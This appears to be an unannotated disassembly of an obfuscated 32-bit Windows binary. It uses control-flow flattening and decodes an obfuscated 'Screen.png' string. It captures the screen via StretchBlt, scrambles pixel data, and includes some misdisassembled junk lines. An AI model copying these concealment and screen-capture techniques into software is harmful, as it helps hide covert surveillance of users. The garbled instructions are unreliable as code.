mov al, byte [ebp - 0x1e]
test al, al
mov eax, 0x42ad1c08
jne 0x424ff3
mov eax, 0x3411bf73
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov byte [ebp - 0x11], 0
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x83a5e362
sete cl
mov dword [ebp - 0x164], ecx
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x353413b4
sete cl
mov dword [ebp - 0x294], ecx
mov eax, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x294]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x94f9956c
setl cl
mov dword [ebp - 0x17c], ecx
mov ecx, dword [ebp - 0x180]
mov edx, dword [ebp - 0x17c]
mov ecx, dword [ecx + edx*4]
jmp ecx
jmp 0x4250c8
xor ecx, ecx
sub eax, 0xa61abc3f
sete cl
mov dword [ebp - 0x19c], ecx
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x19c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xad236aa0
setl cl
mov dword [ebp - 0x1dc], ecx
mov ecx, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1dc]
mov ecx, dword [ecx + edx*4]
jmp ecx
dec dword [ebx - 0x1df73]
dec dword [ebx - 0x1db6b]
dec dword [ebx - 0x1e006ef4]
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x30c]
mov edx, dword [ebp - 0x310]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.00419ba0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x9b548cec
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xd0]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x18]
sub esp, 0x2c
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], esi
mov dword [esp], ebx
mov dword [esp + 0x28], 0xcc0020
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [sym.imp.GDI32.dll_StretchBlt]
call eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xc1f16d21
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x140]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x1c2206e0
setl cl
mov dword [ebp - 0x284], ecx
mov ecx, dword [ebp - 0x288]
mov edx, dword [ebp - 0x284]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xa8620e96
sete cl
mov dword [ebp - 0x1bc], ecx
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [ebp - 0x1bc]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x66fa9fbc
sete cl
mov dword [ebp - 0x2d4], ecx
mov eax, dword [ebp - 0x2d8]
mov ecx, dword [ebp - 0x2d4]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xc55a3c84
setl cl
mov dword [ebp - 0x214], ecx
mov ecx, dword [ebp - 0x218]
mov edx, dword [ebp - 0x214]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xd1bd3217
setl cl
mov dword [ebp - 0x304], ecx
mov ecx, dword [ebp - 0x308]
mov edx, dword [ebp - 0x304]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x66fa9fbc
setl cl
mov dword [ebp - 0x2ec], ecx
mov ecx, dword [ebp - 0x2f0]
mov edx, dword [ebp - 0x2ec]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov bl, byte [ebp - 0x11]
mov eax, dword [ebp - 0x30]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.GDI32.dll_DeleteObject]
and bl, 1
jecxz 0x42526a
movzx eax, bl
mov dh, 0xc3
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
jne 0x425267
mov dword [esi], edx
xor ah, cl
ret 0x8b90
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x3da3e9eb
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x108]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov esi, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x70]
mov al, byte [eax]
mov byte [ebp - 0x54], al
sub esp, 8
mov dword [esp], 0x145d1977
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x53
xor eax, 0x77
mov byte [esi], al
sub esp, 8
mov dword [esp], 0x145d1977
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x63
xor eax, 0x78
mov byte [esi + 1], al
sub esp, 8
mov dword [esp], 0x145d1977
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x72
xor eax, 0x79
mov byte [esi + 2], al
sub esp, 8
mov dword [esp], 0x145d1977
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x65
xor eax, 0x7a
mov byte [esi + 3], al
sub esp, 8
mov dword [esp], 0x145d1977
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x65
xor eax, 0x7b
mov byte [esi + 4], al
sub esp, 8
mov dword [esp], 0x145d1977
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x6e
xor eax, 0x7c
mov byte [esi + 5], al
sub esp, 8
mov dword [esp], 0x145d1977
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x2e
xor eax, 0x7d
mov byte [esi + 6], al
sub esp, 8
mov dword [esp], 0x145d1977
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x70
xor eax, 0x7e
mov byte [esi + 7], al
sub esp, 8
mov dword [esp], 0x145d1977
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x6e
xor eax, 0x7f
mov byte [esi + 8], al
sub esp, 8
mov dword [esp], 0x145d1977
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x67
xor eax, 0x80
mov byte [esi + 9], al
sub esp, 8
mov dword [esp], 0x145d1977
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x81
mov byte [esi + 0xa], al
mov eax, 0xb
mov byte [esi + eax], 0
add eax, 1
cmp eax, 0xd
jne 0x425623
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
cmp eax, 0xd
jae 0x42566c
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [esi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432aa0
add esp, 8
mov ecx, dword [ebp - 0x24]
mov byte [esi + ecx], al
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
jmp 0x425639
mov dword [ebp - 0x5c], esi
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xa8620e96
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xf8]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
sub esp, 0xc
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ecx, dword [ebp + 8]
call fcn.00409fb0
mov byte [ebp - 0x12], al
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
test eax, eax
sete byte [ebp - 0x1d]
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x66fa9fbc
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xe0]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xc1f16d21
sete cl
mov dword [ebp - 0x1ec], ecx
mov eax, dword [ebp - 0x1f0]
mov ecx, dword [ebp - 0x1ec]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x7df3773f
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xf0]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x94f9956c
sete cl
mov dword [ebp - 0x174], ecx
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x174]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x3411bf73
mov al, byte [ebp - 0x12]
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xc0]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xbed2017c
sete cl
mov dword [ebp - 0x1e4], ecx
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x3411bf73
setl cl
mov dword [ebp - 0x27c], ecx
mov ecx, dword [ebp - 0x280]
mov edx, dword [ebp - 0x27c]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [ebp - 0x1f]
test al, al
mov eax, 0xc55a3c84
jne 0x4257ad
mov eax, 0xa61abc3f
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x148]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x26]
and al, 1
movzx eax, al
add esp, 0x328
pop esi
pop edi
pop ebx
pop ebp
ret
xor ecx, ecx
mov edx, eax
sub edx, 0x66556492
setl cl
mov dword [esp + 0x2b8], ecx
mov ecx, dword [esp + 0x2bc]
mov edx, dword [esp + 0x2b8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x62e5282d
sete cl
mov dword [esp + 0x258], ecx
mov eax, dword [esp + 0x25c]
mov ecx, dword [esp + 0x258]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xbcfdf4b3
setl cl
mov dword [esp + 0x178], ecx
mov ecx, dword [esp + 0x17c]
mov edx, dword [esp + 0x178]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xa21c0493
sete cl
mov dword [esp + 0x140], ecx
mov eax, dword [esp + 0x144]
mov ecx, dword [esp + 0x140]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x200ddf75
setl cl
mov dword [esp + 0x1e0], ecx
mov ecx, dword [esp + 0x1e4]
mov edx, dword [esp + 0x1e0]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.00419ba0
mov eax, dword [esp + 0x58]
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x6595ba2c
mov eax, dword [esp + 0xd0]
mov ecx, dword [esp + 0xd4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x25b7a84e
sete cl
mov dword [esp + 0x208], ecx
mov eax, dword [esp + 0x20c]
mov ecx, dword [esp + 0x208]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x24]
mov ecx, dword [esp + 0x1c]
mov dword [ecx], 0x22595abf
mov byte [esp + 0x23], al
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0xa4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x38]
inc eax
mov ecx, dword [esp + 0x1c]
mov dword [ecx], 0x86603e55
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0xe8]
mov ecx, dword [esp + 0xec]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xf0845b85
sete cl
mov dword [esp + 0x1a0], ecx
mov eax, dword [esp + 0x1a4]
mov ecx, dword [esp + 0x1a0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x1374cf49
setl cl
mov dword [esp + 0x1c8], ecx
mov ecx, dword [esp + 0x1cc]
mov edx, dword [esp + 0x1c8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x174437c7
setl cl
mov dword [esp + 0x1e8], ecx
mov ecx, dword [esp + 0x1ec]
mov edx, dword [esp + 0x1e8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x7e363462
sete cl
mov dword [esp + 0x298], ecx
mov eax, dword [esp + 0x29c]
mov ecx, dword [esp + 0x298]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x62e5282d
mov eax, dword [esp + 0xd8]
mov ecx, dword [esp + 0xdc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x340]
mov dword [ecx], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xade46b3f
mov byte [esp + 0x24], 1
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0xac]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x200ddf75
sete cl
mov dword [esp + 0x1d8], ecx
mov eax, dword [esp + 0x1dc]
mov ecx, dword [esp + 0x1d8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x86603e55
mov dword [esp + 0x48], 0
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x124]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x66556492
sete cl
mov dword [esp + 0x280], ecx
mov eax, dword [esp + 0x284]
mov ecx, dword [esp + 0x280]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x130]
mov ecx, dword [esp + 0x134]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x661b4999
setl cl
mov dword [esp + 0x270], ecx
mov ecx, dword [esp + 0x274]
mov edx, dword [esp + 0x270]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x51fe562a
setl cl
mov dword [esp + 0x240], ecx
mov ecx, dword [esp + 0x244]
mov edx, dword [esp + 0x240]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x51fe562a
sete cl
mov dword [esp + 0x238], ecx
mov eax, dword [esp + 0x23c]
mov ecx, dword [esp + 0x238]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x25b7a84e
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc4]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp + 0x58], 0
mov eax, dword [esp + 0x28]
mov eax, dword [eax]
mov ecx, dword [esp + 0x2c]
mov ecx, dword [ecx]
mov edx, dword [esp + 0x3c]
mov esi, dword [esp + 0x30]
lea edi, [esp + 0x58]
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 9
call fcn.00405880
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x50]
test eax, eax
mov eax, 0x51fe562a
jne 0x4261c1
mov eax, 0xade46b3f
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov byte [esp + 0x24], 0
mov eax, dword [esp + 0x100]
mov ecx, dword [esp + 0x104]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xf0845b85
setl cl
mov dword [esp + 0x1a8], ecx
mov ecx, dword [esp + 0x1ac]
mov edx, dword [esp + 0x1a8]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.00419ba0
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x344]
mov dword [ecx], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x7f1f9516
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0xbc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x7f1f9516
setl cl
mov dword [esp + 0x2a8], ecx
mov ecx, dword [esp + 0x2ac]
mov edx, dword [esp + 0x2a8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x48]
mov dword [esp + 0x38], eax
call fcn.00419ba0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x200ddf75
mov eax, dword [esp + 0x118]
mov ecx, dword [esp + 0x11c]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x27]
test al, al
mov eax, 0x7e363462
jne 0x426298
mov eax, 0x681510b1
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov eax, dword [esp + 0x108]
mov ecx, dword [esp + 0x10c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x62e5282d
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x74]
mov eax, dword [ecx + eax*4]
jmp eax
push ds
cmp dword [edx + 0x4c24448b], ebx
mov ecx, dword [esp + 0x344]
mov dword [ecx], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x25b7a84e
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0x6c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xf839f9de
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xb4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x2fbb0612
setl cl
mov dword [esp + 0x250], ecx
mov ecx, dword [esp + 0x254]
mov edx, dword [esp + 0x250]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xca4ac2bf
setl cl
mov dword [esp + 0x1b0], ecx
mov ecx, dword [esp + 0x1b4]
mov edx, dword [esp + 0x1b0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x2fbb0612
sete cl
mov dword [esp + 0x228], ecx
mov eax, dword [esp + 0x22c]
mov ecx, dword [esp + 0x228]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x174437c7
sete cl
mov dword [esp + 0x1d0], ecx
mov eax, dword [esp + 0x1d4]
mov ecx, dword [esp + 0x1d0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x2dc]
test eax, eax
mov eax, 0xa9dde841
jne 0x4263b8
mov eax, 0x22595abf
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov byte [esp + 0x23], 0
mov eax, dword [esp + 0x128]
mov ecx, dword [esp + 0x12c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x6595ba2c
sete cl
mov dword [esp + 0x260], ecx
mov eax, dword [esp + 0x264]
mov ecx, dword [esp + 0x260]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xade46b3f
sete cl
mov dword [esp + 0x168], ecx
mov eax, dword [esp + 0x16c]
mov ecx, dword [esp + 0x168]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xa9dde841
sete cl
mov dword [esp + 0x160], ecx
mov eax, dword [esp + 0x164]
mov ecx, dword [esp + 0x160]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x7f1f9516
sete cl
mov dword [esp + 0x2a0], ecx
mov eax, dword [esp + 0x2a4]
mov ecx, dword [esp + 0x2a0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x1374cf49
sete cl
mov dword [esp + 0x1c0], ecx
mov eax, dword [esp + 0x1c4]
mov ecx, dword [esp + 0x1c0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xa21c0493
setl cl
mov dword [esp + 0x158], ecx
mov ecx, dword [esp + 0x15c]
mov edx, dword [esp + 0x158]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x6595ba2c
setl cl
mov dword [esp + 0x278], ecx
mov ecx, dword [esp + 0x27c]
mov edx, dword [esp + 0x278]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x286bcef3
setl cl
mov dword [esp + 0x218], ecx
mov ecx, dword [esp + 0x21c]
mov edx, dword [esp + 0x218]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x681510b1
setl cl
mov dword [esp + 0x290], ecx
mov ecx, dword [esp + 0x294]
mov edx, dword [esp + 0x290]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xca4ac2bf
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x84]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x25]
and al, 1
mov byte [esp + 0x26], al
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x1374cf49
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x8c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x681510b1
sete cl
mov dword [esp + 0x288], ecx
mov eax, dword [esp + 0x28c]
mov ecx, dword [esp + 0x288]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov eax, dword [esp + 0x28]
mov eax, dword [eax]
mov ecx, dword [esp + 0x38]
sub ecx, eax
setl byte [esp + 0x27]
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x2fbb0612
mov eax, dword [esp + 0x110]
mov ecx, dword [esp + 0x114]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x22595abf
setl cl
mov dword [esp + 0x2c8], ecx
mov ecx, dword [esp + 0x2cc]
mov edx, dword [esp + 0x2c8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x25b7a84e
setl cl
mov dword [esp + 0x220], ecx
mov ecx, dword [esp + 0x224]
mov edx, dword [esp + 0x220]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xa65642da
setl cl
mov dword [esp + 0x150], ecx
mov ecx, dword [esp + 0x154]
mov edx, dword [esp + 0x150]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xf839f9de
setl cl
mov dword [esp + 0x1f0], ecx
mov ecx, dword [esp + 0x1f4]
mov edx, dword [esp + 0x1f0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xa65642da
sete cl
mov dword [esp + 0x148], ecx
mov eax, dword [esp + 0x14c]
mov ecx, dword [esp + 0x148]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x22595abf
sete cl
mov dword [esp + 0x200], ecx
mov eax, dword [esp + 0x204]
mov ecx, dword [esp + 0x200]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xf839f9de
sete cl
mov dword [esp + 0x1b8], ecx
mov eax, dword [esp + 0x1bc]
mov ecx, dword [esp + 0x1b8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xa9dde841
setl cl
mov dword [esp + 0x188], ecx
mov ecx, dword [esp + 0x18c]
mov edx, dword [esp + 0x188]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x2d0]
mov edx, dword [esp + 0x2d4]
mov ecx, dword [edx + ecx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x86603e55
sete cl
mov dword [esp + 0x138], ecx
mov eax, dword [esp + 0x13c]
mov ecx, dword [esp + 0x138]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x4c0e2f20
sete cl
mov dword [esp + 0x230], ecx
mov eax, dword [esp + 0x234]
mov ecx, dword [esp + 0x230]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xbcfdf4b3
sete cl
mov dword [esp + 0x170], ecx
mov eax, dword [esp + 0x174]
mov ecx, dword [esp + 0x170]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x200ddf75
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x7c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x286bcef3
sete cl
mov dword [esp + 0x210], ecx
mov eax, dword [esp + 0x214]
mov ecx, dword [esp + 0x210]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xc3592527
setl cl
mov dword [esp + 0x1f8], ecx
mov ecx, dword [esp + 0x1fc]
mov edx, dword [esp + 0x1f8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xc3592527
sete cl
mov dword [esp + 0x190], ecx
mov eax, dword [esp + 0x194]
mov ecx, dword [esp + 0x190]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x23]
mov byte [esp + 0x25], al
mov eax, dword [esp + 0x54]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
sub esp, 8
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x286bcef3
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0x9c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x2c]
mov eax, dword [eax]
mov ecx, dword [esp + 0x34]
sub ecx, eax
mov eax, 0x66556492
jl 0x426864
mov eax, 0xbcfdf4b3
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0xf4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2c]
mov eax, dword [eax]
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x38]
imul ecx, edx
imul eax, ecx
mov ecx, dword [esp + 0x30]
add ecx, eax
mov dword [esp + 0x2d8], ecx
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x174437c7
mov dword [esp + 0x44], 0
mov eax, dword [esp + 0xf8]
mov ecx, dword [esp + 0xfc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x4c0e2f20
setl cl
mov dword [esp + 0x248], ecx
mov ecx, dword [esp + 0x24c]
mov edx, dword [esp + 0x248]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x62e5282d
setl cl
mov dword [esp + 0x2c0], ecx
mov ecx, dword [esp + 0x2c4]
mov edx, dword [esp + 0x2c0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x661b4999
sete cl
mov dword [esp + 0x268], ecx
mov eax, dword [esp + 0x26c]
mov ecx, dword [esp + 0x268]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xca4ac2bf
sete cl
mov dword [esp + 0x198], ecx
mov eax, dword [esp + 0x19c]
mov ecx, dword [esp + 0x198]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x4c0e2f20
mov eax, dword [esp + 0xc8]
mov ecx, dword [esp + 0xcc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2d8]
mov dword [esp + 0x5c], eax
mov ecx, dword [esp + 0x34]
mov ebx, dword [eax + ecx*4]
mov esi, ebx
not esi
mov edx, ebx
and edx, 0xff0000
shr edx, 0x10
or esi, 0x4200bd
and esi, 0xe94257bd
mov edi, ebx
and edi, 0x1600a800
or esi, edi
xor edx, esi
mov edi, edx
xor edi, 0x1000511
mov ebp, ebx
xor ebp, 0xff00
and ebp, ebx
shl ebp, 0x10
xor edx, 0x16bda842
mov eax, ebp
not eax
mov ebx, edx
and ebx, 0xee26faac
and edi, 0x11000553
mov esi, eax
and esi, 0xee26faac
and ebp, 0x11d90000
or ebx, edi
or esi, ebp
xor ebx, esi
or edx, eax
not edx
or ebx, edx
mov eax, dword [esp + 0x5c]
mov dword [eax + ecx*4], ebx
mov eax, dword [esp + 0x34]
inc eax
mov ecx, dword [esp + 0x1c]
mov dword [ecx], 0x174437c7
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xe4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call fcn.00409630
